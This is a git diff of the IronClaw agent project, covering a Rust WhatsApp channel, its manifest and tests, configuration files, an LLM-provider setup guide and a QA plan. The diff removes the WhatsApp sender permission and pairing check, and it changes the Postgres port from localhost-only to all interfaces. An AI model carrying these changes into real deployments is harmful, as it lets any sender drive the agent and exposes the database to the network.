||||
) {
|
||||
let attachments = extract_whatsapp_attachments(message);
|
||||
// Only handle text messages for now
|
||||
// TODO: Add support for image, audio, video, document, etc.
|
||||
if message.message_type != "text" {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Debug,
|
||||
&format!("Skipping non-text message type: {}", message.message_type),
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
// Extract text content (from text body or media captions)
|
||||
// Extract text content
|
||||
let text = match &message.text {
|
||||
Some(t) if !t.body.is_empty() => t.body.clone(),
|
||||
_ => {
|
||||
// Try to use caption from media messages as content
|
||||
let caption = message
|
||||
.image
|
||||
.as_ref()
|
||||
.and_then(|m| m.caption.clone())
|
||||
.or_else(|| message.video.as_ref().and_then(|m| m.caption.clone()))
|
||||
.or_else(|| message.document.as_ref().and_then(|m| m.caption.clone()));
|
||||
match caption {
|
||||
Some(c) if !c.is_empty() => c,
|
||||
_ if !attachments.is_empty() => String::new(),
|
||||
_ => return,
|
||||
}
|
||||
}
|
||||
_ => return,
|
||||
};
|
||||
|
||||
// Look up sender's name from contacts
|
||||
let user_name = contact_names.get(&message.from).cloned();
|
||||
|
||||
// Permission check (WhatsApp is always DM)
|
||||
if !check_sender_permission(
|
||||
&message.from,
|
||||
user_name.as_deref(),
|
||||
phone_number_id,
|
||||
) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Build metadata for response routing
|
||||
// This is critical - the response handler uses this to know where to send
|
||||
let metadata = WhatsAppMessageMetadata {
|
||||
@@ -786,7 +622,6 @@ fn handle_message(
|
||||
content: text,
|
||||
thread_id: None, // WhatsApp doesn't have threads like Slack/Discord
|
||||
metadata_json,
|
||||
attachments,
|
||||
});
|
||||
|
||||
channel_host::log(
|
||||
@@ -802,149 +637,6 @@ fn handle_message(
|
||||
// Utilities
|
||||
// ============================================================================
|
||||
|
||||
// ============================================================================
|
||||
// Permission & Pairing
|
||||
// ============================================================================
|
||||
|
||||
/// Check if a sender is permitted. Returns true if allowed.
|
||||
/// WhatsApp is always 1-to-1 (DM), so dm_policy always applies.
|
||||
fn check_sender_permission(
|
||||
sender_phone: &str,
|
||||
user_name: Option<&str>,
|
||||
phone_number_id: &str,
|
||||
) -> bool {
|
||||
// 1. Owner check (highest priority)
|
||||
let owner_id = channel_host::workspace_read(OWNER_ID_PATH).filter(|s| !s.is_empty());
|
||||
if let Some(ref owner) = owner_id {
|
||||
if sender_phone != owner {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Debug,
|
||||
&format!(
|
||||
"Dropping message from non-owner {} (owner: {})",
|
||||
sender_phone, owner
|
||||
),
|
||||
);
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// 2. DM policy (WhatsApp is always DM)
|
||||
let dm_policy =
|
||||
channel_host::workspace_read(DM_POLICY_PATH).unwrap_or_else(|| "pairing".to_string());
|
||||
|
||||
if dm_policy == "open" {
|
||||
return true;
|
||||
}
|
||||
|
||||
// 3. Build merged allow list
|
||||
let mut allowed: Vec<String> = channel_host::workspace_read(ALLOW_FROM_PATH)
|
||||
.and_then(|s| serde_json::from_str(&s).ok())
|
||||
.unwrap_or_default();
|
||||
|
||||
if let Ok(store_allowed) = channel_host::pairing_read_allow_from(CHANNEL_NAME) {
|
||||
allowed.extend(store_allowed);
|
||||
}
|
||||
|
||||
// 4. Check sender (phone number or name)
|
||||
let is_allowed = allowed.contains(&"*".to_string())
|
||||
|| allowed.contains(&sender_phone.to_string())
|
||||
|| user_name.is_some_and(|u| allowed.contains(&u.to_string()));
|
||||
|
||||
if is_allowed {
|
||||
return true;
|
||||
}
|
||||
|
||||
// 5. Not allowed — handle by policy
|
||||
if dm_policy == "pairing" {
|
||||
let meta = serde_json::json!({
|
||||
"phone": sender_phone,
|
||||
"name": user_name,
|
||||
})
|
||||
.to_string();
|
||||
|
||||
match channel_host::pairing_upsert_request(CHANNEL_NAME, sender_phone, &meta) {
|
||||
Ok(result) => {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Info,
|
||||
&format!(
|
||||
"Pairing request for {}: code {}",
|
||||
sender_phone, result.code
|
||||
),
|
||||
);
|
||||
if result.created {
|
||||
let _ = send_pairing_reply(sender_phone, phone_number_id, &result.code);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Error,
|
||||
&format!("Pairing upsert failed: {}", e),
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// Send a pairing code message via WhatsApp Cloud API.
|
||||
fn send_pairing_reply(
|
||||
recipient_phone: &str,
|
||||
phone_number_id: &str,
|
||||
code: &str,
|
||||
) -> Result<(), String> {
|
||||
let api_version = channel_host::workspace_read("channels/whatsapp/api_version")
|
||||
.filter(|s| !s.is_empty())
|
||||
.unwrap_or_else(|| "v18.0".to_string());
|
||||
|
||||
let url = format!(
|
||||
"https://graph.facebook.com/{}/{}/messages",
|
||||
api_version, phone_number_id
|
||||
);
|
||||
|
||||
let payload = serde_json::json!({
|
||||
"messaging_product": "whatsapp",
|
||||
"recipient_type": "individual",
|
||||
"to": recipient_phone,
|
||||
"type": "text",
|
||||
"text": {
|
||||
"preview_url": false,
|
||||
"body": format!(
|
||||
"To pair with this bot, run: ironclaw pairing approve whatsapp {}",
|
||||
code
|
||||
)
|
||||
}
|
||||
});
|
||||
|
||||
let payload_bytes =
|
||||
serde_json::to_vec(&payload).map_err(|e| format!("Failed to serialize: {}", e))?;
|
||||
|
||||
let headers = serde_json::json!({
|
||||
"Content-Type": "application/json",
|
||||
"Authorization": "Bearer {WHATSAPP_ACCESS_TOKEN}"
|
||||
});
|
||||
|
||||
let result = channel_host::http_request(
|
||||
"POST",
|
||||
&url,
|
||||
&headers.to_string(),
|
||||
Some(&payload_bytes),
|
||||
None,
|
||||
);
|
||||
|
||||
match result {
|
||||
Ok(response) if response.status >= 200 && response.status < 300 => Ok(()),
|
||||
Ok(response) => {
|
||||
let body_str = String::from_utf8_lossy(&response.body);
|
||||
Err(format!(
|
||||
"WhatsApp API error: {} - {}",
|
||||
response.status, body_str
|
||||
))
|
||||
}
|
||||
Err(e) => Err(format!("HTTP request failed: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
/// Create a JSON HTTP response.
|
||||
fn json_response(status: u16, value: serde_json::Value) -> OutgoingHttpResponse {
|
||||
let body = serde_json::to_vec(&value).unwrap_or_default();
|
||||
@@ -1064,138 +756,4 @@ mod tests {
|
||||
assert_eq!(parsed.phone_number_id, "123456");
|
||||
assert_eq!(parsed.sender_phone, "15551234567");
|
||||
}
|
||||
|
||||
// === Attachment extraction fixture tests ===
|
||||
|
||||
#[test]
|
||||
fn test_extract_whatsapp_image_attachment() {
|
||||
let msg = WhatsAppMessage {
|
||||
id: "msg1".to_string(),
|
||||
from: "15551234567".to_string(),
|
||||
timestamp: "1234567890".to_string(),
|
||||
message_type: "image".to_string(),
|
||||
text: None,
|
||||
image: Some(WhatsAppMedia {
|
||||
id: "media_img_1".to_string(),
|
||||
mime_type: Some("image/jpeg".to_string()),
|
||||
caption: Some("Look at this".to_string()),
|
||||
}),
|
||||
audio: None,
|
||||
video: None,
|
||||
document: None,
|
||||
context: None,
|
||||
};
|
||||
|
||||
let attachments = extract_whatsapp_attachments(&msg);
|
||||
assert_eq!(attachments.len(), 1);
|
||||
assert_eq!(attachments[0].id, "media_img_1");
|
||||
assert_eq!(attachments[0].mime_type, "image/jpeg");
|
||||
assert_eq!(
|
||||
attachments[0].extracted_text,
|
||||
Some("Look at this".to_string())
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_extract_whatsapp_document_attachment() {
|
||||
let msg = WhatsAppMessage {
|
||||
id: "msg2".to_string(),
|
||||
from: "15551234567".to_string(),
|
||||
timestamp: "1234567890".to_string(),
|
||||
message_type: "document".to_string(),
|
||||
text: None,
|
||||
image: None,
|
||||
audio: None,
|
||||
video: None,
|
||||
document: Some(WhatsAppDocument {
|
||||
id: "media_doc_1".to_string(),
|
||||
mime_type: Some("application/pdf".to_string()),
|
||||
filename: Some("report.pdf".to_string()),
|
||||
caption: None,
|
||||
}),
|
||||
context: None,
|
||||
};
|
||||
|
||||
let attachments = extract_whatsapp_attachments(&msg);
|
||||
assert_eq!(attachments.len(), 1);
|
||||
assert_eq!(attachments[0].id, "media_doc_1");
|
||||
assert_eq!(attachments[0].mime_type, "application/pdf");
|
||||
assert_eq!(
|
||||
attachments[0].filename,
|
||||
Some("report.pdf".to_string())
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_extract_whatsapp_audio_video_attachments() {
|
||||
let msg = WhatsAppMessage {
|
||||
id: "msg3".to_string(),
|
||||
from: "15551234567".to_string(),
|
||||
timestamp: "1234567890".to_string(),
|
||||
message_type: "audio".to_string(),
|
||||
text: None,
|
||||
image: None,
|
||||
audio: Some(WhatsAppMedia {
|
||||
id: "media_audio_1".to_string(),
|
||||
mime_type: Some("audio/ogg".to_string()),
|
||||
caption: None,
|
||||
}),
|
||||
video: Some(WhatsAppMedia {
|
||||
id: "media_video_1".to_string(),
|
||||
mime_type: Some("video/mp4".to_string()),
|
||||
caption: None,
|
||||
}),
|
||||
document: None,
|
||||
context: None,
|
||||
};
|
||||
|
||||
let attachments = extract_whatsapp_attachments(&msg);
|
||||
assert_eq!(attachments.len(), 2);
|
||||
assert_eq!(attachments[0].id, "media_audio_1");
|
||||
assert_eq!(attachments[1].id, "media_video_1");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_extract_whatsapp_text_only_no_attachments() {
|
||||
let msg = WhatsAppMessage {
|
||||
id: "msg4".to_string(),
|
||||
from: "15551234567".to_string(),
|
||||
timestamp: "1234567890".to_string(),
|
||||
message_type: "text".to_string(),
|
||||
text: Some(TextContent {
|
||||
body: "Hello".to_string(),
|
||||
}),
|
||||
image: None,
|
||||
audio: None,
|
||||
video: None,
|
||||
document: None,
|
||||
context: None,
|
||||
};
|
||||
|
||||
let attachments = extract_whatsapp_attachments(&msg);
|
||||
assert!(attachments.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_parse_whatsapp_image_message() {
|
||||
let json = r#"{
|
||||
"id": "wamid.123",
|
||||
"from": "15551234567",
|
||||
"timestamp": "1234567890",
|
||||
"type": "image",
|
||||
"image": {
|
||||
"id": "media_img_abc",
|
||||
"mime_type": "image/jpeg",
|
||||
"caption": "Check this"
|
||||
}
|
||||
}"#;
|
||||
|
||||
let msg: WhatsAppMessage = serde_json::from_str(json).unwrap();
|
||||
assert_eq!(msg.message_type, "image");
|
||||
assert!(msg.image.is_some());
|
||||
|
||||
let attachments = extract_whatsapp_attachments(&msg);
|
||||
assert_eq!(attachments.len(), 1);
|
||||
assert_eq!(attachments[0].id, "media_img_abc");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,6 +1,4 @@
|
||||
{
|
||||
"version": "0.2.0",
|
||||
"wit_version": "0.3.0",
|
||||
"type": "channel",
|
||||
"name": "whatsapp",
|
||||
"description": "WhatsApp Cloud API channel for receiving and responding to WhatsApp messages",
|
||||
@@ -8,7 +6,7 @@
|
||||
"required_secrets": [
|
||||
{
|
||||
"name": "whatsapp_access_token",
|
||||
"prompt": "Enter your WhatsApp Cloud API permanent access token (from the Meta Developer Portal under your app's WhatsApp > API Setup).",
|
||||
"prompt": "Enter your WhatsApp Cloud API access token (from Meta Developer Portal)",
|
||||
"validation": "^[A-Za-z0-9_-]+$"
|
||||
},
|
||||
{
|
||||
@@ -18,8 +16,7 @@
|
||||
"auto_generate": { "length": 32 }
|
||||
}
|
||||
],
|
||||
"validation_endpoint": "https://graph.facebook.com/v18.0/me?access_token={whatsapp_access_token}",
|
||||
"setup_url": "https://developers.facebook.com/apps"
|
||||
"validation_endpoint": "https://graph.facebook.com/v18.0/me?access_token={whatsapp_access_token}"
|
||||
},
|
||||
"capabilities": {
|
||||
"http": {
|
||||
@@ -51,9 +48,6 @@
|
||||
},
|
||||
"config": {
|
||||
"api_version": "v18.0",
|
||||
"reply_to_message": true,
|
||||
"owner_id": null,
|
||||
"dm_policy": "pairing",
|
||||
"allow_from": []
|
||||
"reply_to_message": true
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,8 +0,0 @@
|
||||
# Complexity guardrails for AI-assisted development quality.
|
||||
# These thresholds prevent new violations while preserving existing code.
|
||||
# See: https://github.com/nearai/ironclaw/issues/338
|
||||
|
||||
cognitive-complexity-threshold = 15 # default: 25 (only active when lint is enabled)
|
||||
too-many-lines-threshold = 100 # default: 100 (only active when lint is enabled)
|
||||
too-many-arguments-threshold = 7 # default: 7 (keep default, avoids new violations)
|
||||
type-complexity-threshold = 250 # default: 250 (keep default, avoids new violations)
|
||||
-10
@@ -1,10 +0,0 @@
|
||||
coverage:
|
||||
status:
|
||||
project:
|
||||
default:
|
||||
target: auto
|
||||
threshold: 1%
|
||||
patch:
|
||||
default:
|
||||
target: 80%
|
||||
threshold: 5%
|
||||
+4
-16
@@ -2,15 +2,12 @@
|
||||
# Do not use placeholder passwords in production.
|
||||
DATABASE_URL=postgres://ironclaw:CHANGE_ME@localhost:5432/ironclaw
|
||||
|
||||
# NEAR AI Cloud (API key auth, Chat Completions API)
|
||||
# Get an API key from https://cloud.near.ai
|
||||
NEARAI_API_KEY=CHANGE_ME
|
||||
# NEAR AI
|
||||
NEARAI_SESSION_TOKEN=CHANGE_ME
|
||||
NEARAI_MODEL=claude-3-5-sonnet-20241022
|
||||
NEARAI_BASE_URL=https://cloud-api.near.ai
|
||||
|
||||
# Or use NEAR AI Chat (session token auth, Responses API):
|
||||
# NEARAI_SESSION_TOKEN=sess_...
|
||||
# NEARAI_BASE_URL=https://private.near.ai
|
||||
NEARAI_AUTH_URL=https://private.near.ai
|
||||
NEARAI_API_MODE=chat_completions
|
||||
|
||||
# Agent
|
||||
AGENT_NAME=ironclaw
|
||||
@@ -24,15 +21,6 @@ GATEWAY_HOST=0.0.0.0
|
||||
GATEWAY_PORT=3000
|
||||
GATEWAY_AUTH_TOKEN=CHANGE_ME
|
||||
|
||||
# Restart Feature (Docker containers only)
|
||||
# IMPORTANT: Set this in the container entrypoint or docker-compose to enable restart.
|
||||
# The Docker entrypoint loop monitors exit codes:
|
||||
# - Exit code 0 = clean restart: reset failure counter, wait IRONCLAW_RESTART_DELAY, restart
|
||||
# - Exit code ≠ 0 = failure: increment counter, exit after IRONCLAW_MAX_FAILURES
|
||||
IRONCLAW_IN_DOCKER=false
|
||||
IRONCLAW_RESTART_DELAY=5 # seconds to wait before restarting (range: 1-30)
|
||||
IRONCLAW_MAX_FAILURES=10 # max consecutive failures before container exits
|
||||
|
||||
# Disabled for initial deploy
|
||||
SANDBOX_ENABLED=false
|
||||
HEARTBEAT_ENABLED=false
|
||||
|
||||
+1
-1
@@ -3,7 +3,7 @@ services:
|
||||
postgres:
|
||||
image: pgvector/pgvector:pg16
|
||||
ports:
|
||||
- "127.0.0.1:5432:5432"
|
||||
- "5432:5432"
|
||||
environment:
|
||||
POSTGRES_DB: ironclaw
|
||||
POSTGRES_USER: ironclaw
|
||||
|
||||
@@ -1,227 +0,0 @@
|
||||
# LLM Provider Configuration
|
||||
|
||||
IronClaw defaults to NEAR AI for model access, but supports any OpenAI-compatible
|
||||
endpoint as well as Anthropic and Ollama directly. This guide covers the most common
|
||||
configurations.
|
||||
|
||||
## Provider Overview
|
||||
|
||||
| Provider | Backend value | Requires API key | Notes |
|
||||
|---|---|---|---|
|
||||
| NEAR AI | `nearai` | OAuth (browser) | Default; multi-model |
|
||||
| Anthropic | `anthropic` | `ANTHROPIC_API_KEY` | Claude models |
|
||||
| OpenAI | `openai` | `OPENAI_API_KEY` | GPT models |
|
||||
| Google Gemini | `gemini` | `GEMINI_API_KEY` | Gemini models |
|
||||
| io.net | `ionet` | `IONET_API_KEY` | Intelligence API |
|
||||
| Mistral | `mistral` | `MISTRAL_API_KEY` | Mistral models |
|
||||
| Yandex AI Studio | `yandex` | `YANDEX_API_KEY` | YandexGPT models |
|
||||
| Cloudflare Workers AI | `cloudflare` | `CLOUDFLARE_API_KEY` | Access to Workers AI |
|
||||
| Ollama | `ollama` | No | Local inference |
|
||||
| AWS Bedrock | `bedrock` | AWS credentials | Native Converse API |
|
||||
| OpenRouter | `openai_compatible` | `LLM_API_KEY` | 300+ models |
|
||||
| Together AI | `openai_compatible` | `LLM_API_KEY` | Fast inference |
|
||||
| Fireworks AI | `openai_compatible` | `LLM_API_KEY` | Fast inference |
|
||||
| vLLM / LiteLLM | `openai_compatible` | Optional | Self-hosted |
|
||||
| LM Studio | `openai_compatible` | No | Local GUI |
|
||||
|
||||
---
|
||||
|
||||
## NEAR AI (default)
|
||||
|
||||
No additional configuration required. On first run, `ironclaw onboard` opens a browser
|
||||
for OAuth authentication. Credentials are saved to `~/.ironclaw/session.json`.
|
||||
|
||||
```env
|
||||
NEARAI_MODEL=claude-3-5-sonnet-20241022
|
||||
NEARAI_BASE_URL=https://private.near.ai
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Anthropic (Claude)
|
||||
|
||||
```env
|
||||
LLM_BACKEND=anthropic
|
||||
ANTHROPIC_API_KEY=sk-ant-...
|
||||
```
|
||||
|
||||
Popular models: `claude-sonnet-4-20250514`, `claude-3-5-sonnet-20241022`, `claude-3-5-haiku-20241022`
|
||||
|
||||
---
|
||||
|
||||
## OpenAI (GPT)
|
||||
|
||||
```env
|
||||
LLM_BACKEND=openai
|
||||
OPENAI_API_KEY=sk-...
|
||||
```
|
||||
|
||||
Popular models: `gpt-4o`, `gpt-4o-mini`, `o3-mini`
|
||||
|
||||
---
|
||||
|
||||
## Ollama (local)
|
||||
|
||||
Install Ollama from [ollama.com](https://ollama.com), pull a model, then:
|
||||
|
||||
```env
|
||||
LLM_BACKEND=ollama
|
||||
OLLAMA_MODEL=llama3.2
|
||||
# OLLAMA_BASE_URL=http://localhost:11434 # default
|
||||
```
|
||||
|
||||
Pull a model first: `ollama pull llama3.2`
|
||||
|
||||
---
|
||||
|
||||
## AWS Bedrock (requires `--features bedrock`)
|
||||
|
||||
Uses the native AWS Converse API via `aws-sdk-bedrockruntime`. Supports standard AWS
|
||||
authentication methods: IAM credentials, SSO profiles, and instance roles.
|
||||
|
||||
> **Build prerequisite:** The `aws-lc-sys` crate (transitive dependency via AWS SDK)
|
||||
> requires **CMake** to compile. Install it before building with `--features bedrock`:
|
||||
> - macOS: `brew install cmake`
|
||||
> - Ubuntu/Debian: `sudo apt install cmake`
|
||||
> - Fedora: `sudo dnf install cmake`
|
||||
|
||||
### With AWS credentials (IAM, SSO, instance roles)
|
||||
|
||||
```env
|
||||
LLM_BACKEND=bedrock
|
||||
BEDROCK_MODEL=anthropic.claude-opus-4-6-v1
|
||||
BEDROCK_REGION=us-east-1
|
||||
BEDROCK_CROSS_REGION=us
|
||||
# AWS_PROFILE=my-sso-profile # optional, for named profiles
|
||||
```
|
||||
|
||||
The AWS SDK credential chain automatically resolves credentials from environment
|
||||
variables (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`), shared credentials file
|
||||
(`~/.aws/credentials`), SSO profiles, and EC2/ECS instance roles.
|
||||
|
||||
### Cross-region inference
|
||||
|
||||
Set `BEDROCK_CROSS_REGION` to route requests across AWS regions for capacity:
|
||||
|
||||
| Prefix | Routing |
|
||||
|---|---|
|
||||
| `us` | US regions (us-east-1, us-east-2, us-west-2) |
|
||||
| `eu` | European regions |
|
||||
| `apac` | Asia-Pacific regions |
|
||||
| `global` | All commercial AWS regions |
|
||||
| _(unset)_ | Single-region only |
|
||||
|
||||
### Popular Bedrock model IDs
|
||||
|
||||
| Model | ID |
|
||||
|---|---|
|
||||
| Claude Opus 4.6 | `anthropic.claude-opus-4-6-v1` |
|
||||
| Claude Sonnet 4.5 | `anthropic.claude-sonnet-4-5-20250929-v1:0` |
|
||||
| Claude Haiku 4.5 | `anthropic.claude-haiku-4-5-20251001-v1:0` |
|
||||
| Amazon Nova Pro | `amazon.nova-pro-v1:0` |
|
||||
| Llama 4 Maverick | `meta.llama4-maverick-17b-instruct-v1:0` |
|
||||
|
||||
---
|
||||
|
||||
## OpenAI-Compatible Endpoints
|
||||
|
||||
All providers below use `LLM_BACKEND=openai_compatible`. Set `LLM_BASE_URL` to the
|
||||
provider's OpenAI-compatible endpoint and `LLM_API_KEY` to your API key.
|
||||
|
||||
### OpenRouter
|
||||
|
||||
[OpenRouter](https://openrouter.ai) routes to 300+ models from a single API key.
|
||||
|
||||
```env
|
||||
LLM_BACKEND=openai_compatible
|
||||
LLM_BASE_URL=https://openrouter.ai/api/v1
|
||||
LLM_API_KEY=sk-or-...
|
||||
LLM_MODEL=anthropic/claude-sonnet-4
|
||||
```
|
||||
|
||||
Popular OpenRouter model IDs:
|
||||
|
||||
| Model | ID |
|
||||
|---|---|
|
||||
| Claude Sonnet 4 | `anthropic/claude-sonnet-4` |
|
||||
| GPT-4o | `openai/gpt-4o` |
|
||||
| Llama 4 Maverick | `meta-llama/llama-4-maverick` |
|
||||
| Gemini 2.0 Flash | `google/gemini-2.0-flash-001` |
|
||||
| Mistral Small | `mistralai/mistral-small-3.1-24b-instruct` |
|
||||
|
||||
Browse all models at [openrouter.ai/models](https://openrouter.ai/models).
|
||||
|
||||
### Together AI
|
||||
|
||||
[Together AI](https://www.together.ai) provides fast inference for open-source models.
|
||||
|
||||
```env
|
||||
LLM_BACKEND=openai_compatible
|
||||
LLM_BASE_URL=https://api.together.xyz/v1
|
||||
LLM_API_KEY=...
|
||||
LLM_MODEL=meta-llama/Llama-3.3-70B-Instruct-Turbo
|
||||
```
|
||||
|
||||
Popular Together AI model IDs:
|
||||
|
||||
| Model | ID |
|
||||
|---|---|
|
||||
| Llama 3.3 70B | `meta-llama/Llama-3.3-70B-Instruct-Turbo` |
|
||||
| DeepSeek R1 | `deepseek-ai/DeepSeek-R1` |
|
||||
| Qwen 2.5 72B | `Qwen/Qwen2.5-72B-Instruct-Turbo` |
|
||||
|
||||
### Fireworks AI
|
||||
|
||||
[Fireworks AI](https://fireworks.ai) offers fast inference with compound AI system support.
|
||||
|
||||
```env
|
||||
LLM_BACKEND=openai_compatible
|
||||
LLM_BASE_URL=https://api.fireworks.ai/inference/v1
|
||||
LLM_API_KEY=fw_...
|
||||
LLM_MODEL=accounts/fireworks/models/llama4-maverick-instruct-basic
|
||||
```
|
||||
|
||||
### vLLM / LiteLLM (self-hosted)
|
||||
|
||||
For self-hosted inference servers:
|
||||
|
||||
```env
|
||||
LLM_BACKEND=openai_compatible
|
||||
LLM_BASE_URL=http://localhost:8000/v1
|
||||
LLM_API_KEY=token-abc123 # set to any string if auth is not configured
|
||||
LLM_MODEL=meta-llama/Llama-3.1-8B-Instruct
|
||||
```
|
||||
|
||||
LiteLLM proxy (forwards to any backend, including Bedrock, Vertex, Azure):
|
||||
|
||||
```env
|
||||
LLM_BACKEND=openai_compatible
|
||||
LLM_BASE_URL=http://localhost:4000/v1
|
||||
LLM_API_KEY=sk-...
|
||||
LLM_MODEL=gpt-4o # as configured in litellm config.yaml
|
||||
```
|
||||
|
||||
### LM Studio (local GUI)
|
||||
|
||||
Start LM Studio's local server, then:
|
||||
|
||||
```env
|
||||
LLM_BACKEND=openai_compatible
|
||||
LLM_BASE_URL=http://localhost:1234/v1
|
||||
LLM_MODEL=llama-3.2-3b-instruct-q4_K_M
|
||||
# LLM_API_KEY is not required for LM Studio
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Using the Setup Wizard
|
||||
|
||||
Instead of editing `.env` manually, run the onboarding wizard:
|
||||
|
||||
```bash
|
||||
ironclaw onboard
|
||||
```
|
||||
|
||||
Select **"OpenAI-compatible"** for OpenRouter, Together AI, Fireworks, vLLM, LiteLLM,
|
||||
or LM Studio. You will be prompted for the base URL and (optionally) an API key.
|
||||
The model name is configured in the following step.
|
||||
@@ -1,908 +0,0 @@
|
||||
# Automated QA Plan for IronClaw
|
||||
|
||||
**Date:** 2026-02-24
|
||||
**Status:** Draft
|
||||
**Goal:** Systematically close the QA gaps that led to the ~40 bugs found in issues/PRs to date, progressing from cheap high-ROI checks to full computer-use E2E testing.
|
||||
|
||||
---
|
||||
|
||||
## Motivation
|
||||
|
||||
A review of all closed issues and merged bug-fix PRs reveals that most IronClaw bugs fall into a few recurring categories:
|
||||
|
||||
| Category | Examples | Root Cause |
|
||||
|----------|----------|------------|
|
||||
| Config persistence | Wizard re-triggers on restart, LLM backend silently ignored | No round-trip test for config write→restart→read |
|
||||
| Turn persistence | Tool approval results lost, user messages lost on crash | No test that persists a turn and reads it back |
|
||||
| Tool schema validity | `required`/`properties` mismatch → 400s with OpenAI strict mode | No schema validator in CI |
|
||||
| WASM lifecycle | Workspace writes silently discarded, duplicate Telegram messages | No test that exercises host function → flush → read-back |
|
||||
| Web UI / SSE | No re-sync on reconnect, orphan threads, HTML injection | No browser-level testing at all |
|
||||
| Shell safety | Destructive-command check was dead code, pipe deadlock, env leak | Tests never passed realistic `Value::Object` args |
|
||||
| Build integrity | Docker build broken, feature-flag code untested | CI only runs one feature configuration |
|
||||
|
||||
Most bugs live at **integration boundaries**, not inside isolated functions. The plan is organized in four tiers of increasing scope and cost, each targeting a specific class of bug.
|
||||
|
||||
---
|
||||
|
||||
## Tier 1: Schema & Contract Tests
|
||||
|
||||
**Cost:** Low (pure Rust tests, no infrastructure)
|
||||
**Timeline:** Can land incrementally, one PR per sub-task
|
||||
**Bugs this would have caught:** #131, #268, #129, #174, #187, #96, #320
|
||||
|
||||
### 1.1 Tool Schema Validator
|
||||
|
||||
Every tool registered in `ToolRegistry` must produce a `parameters_schema()` that passes OpenAI's strict-mode rules. Write a test that iterates all built-in tools and asserts:
|
||||
|
||||
- Top-level has `"type": "object"`
|
||||
- Every key in `"required"` exists in `"properties"`
|
||||
- Every property has a `"type"` field
|
||||
- No `additionalProperties` unless explicitly set
|
||||
- Nested objects follow the same rules recursively
|
||||
|
||||
```rust
|
||||
// src/tools/registry.rs or a new tests/tool_schema_validation.rs
|
||||
#[test]
|
||||
fn all_tool_schemas_are_openai_strict_valid() {
|
||||
let registry = ToolRegistry::new();
|
||||
register_all_builtins(&mut registry);
|
||||
for tool in registry.all_tools() {
|
||||
let schema = tool.parameters_schema();
|
||||
validate_strict_schema(&schema, &tool.name())
|
||||
.unwrap_or_else(|e| panic!("Tool '{}' has invalid schema: {}", tool.name(), e));
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Add the same validation for WASM tools (loaded from `~/.ironclaw/tools/`) and MCP tools (mock a simple MCP manifest and validate the schema it produces).
|
||||
|
||||
**Files:** New `src/tools/schema_validator.rs` (validation logic), test in `tests/tool_schema_validation.rs`
|
||||
|
||||
### 1.2 Config Round-Trip Tests
|
||||
|
||||
Test the full config lifecycle: write via wizard helpers → read back via `Config` loader → assert values match.
|
||||
|
||||
Cover the specific bugs found:
|
||||
- `LLM_BACKEND` written to bootstrap `.env` and read back correctly
|
||||
- `EMBEDDING_ENABLED=false` survives restart when `OPENAI_API_KEY` is set
|
||||
- `ONBOARD_COMPLETED=true` in bootstrap `.env` causes `check_onboard_needed()` to return `false`
|
||||
- Session token stored under `nearai.session_token` (not `nearai.session`)
|
||||
|
||||
```rust
|
||||
#[test]
|
||||
fn bootstrap_env_round_trips_llm_backend() {
|
||||
let dir = tempdir().unwrap();
|
||||
let env_path = dir.path().join(".env");
|
||||
save_bootstrap_env(&env_path, &[("LLM_BACKEND", "openai")]).unwrap();
|
||||
// Simulate restart: load from env file
|
||||
dotenv::from_path(&env_path).unwrap();
|
||||
assert_eq!(std::env::var("LLM_BACKEND").unwrap(), "openai");
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** New `tests/config_round_trip.rs`
|
||||
|
||||
### 1.3 Feature-Flag CI Matrix
|
||||
|
||||
The current `code_style.yml` runs clippy without `--all-features`, missing code behind `#[cfg(feature = "libsql")]` etc. The `test.yml` runs with `--all-features` but not with individual features.
|
||||
|
||||
Add a CI matrix:
|
||||
|
||||
```yaml
|
||||
# .github/workflows/test.yml
|
||||
strategy:
|
||||
matrix:
|
||||
features:
|
||||
- "--all-features"
|
||||
- "" # default features only
|
||||
- "--no-default-features --features libsql"
|
||||
steps:
|
||||
- name: Run Tests
|
||||
run: cargo test ${{ matrix.features }} -- --nocapture
|
||||
```
|
||||
|
||||
Update `code_style.yml` to also run clippy with `--all-features`:
|
||||
|
||||
```yaml
|
||||
- name: Check lints (all features)
|
||||
run: cargo clippy --all-features -- -D warnings
|
||||
- name: Check lints (libsql only)
|
||||
run: cargo clippy --no-default-features --features libsql -- -D warnings
|
||||
```
|
||||
|
||||
**Files:** Modify `.github/workflows/test.yml`, `.github/workflows/code_style.yml`
|
||||
|
||||
### 1.4 Docker Build in CI
|
||||
|
||||
Add a job that runs `docker build .` on every PR. No need to push the image -- just verify it builds.
|
||||
|
||||
```yaml
|
||||
# .github/workflows/test.yml - new job
|
||||
docker-build:
|
||||
name: Docker Build
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: Build Docker image
|
||||
run: docker build -t ironclaw-test:ci .
|
||||
```
|
||||
|
||||
**Files:** Modify `.github/workflows/test.yml`
|
||||
|
||||
---
|
||||
|
||||
## Tier 2: Integration Tests
|
||||
|
||||
**Cost:** Medium (needs test harnesses, possibly testcontainers)
|
||||
**Timeline:** Parallel workstream, ~1 week for the harness, then incremental test additions
|
||||
**Bugs this would have caught:** #250, #305, #260, #264, #346, #125, #72, #140
|
||||
|
||||
### 2.1 Test Harness: In-Memory Database Backend
|
||||
|
||||
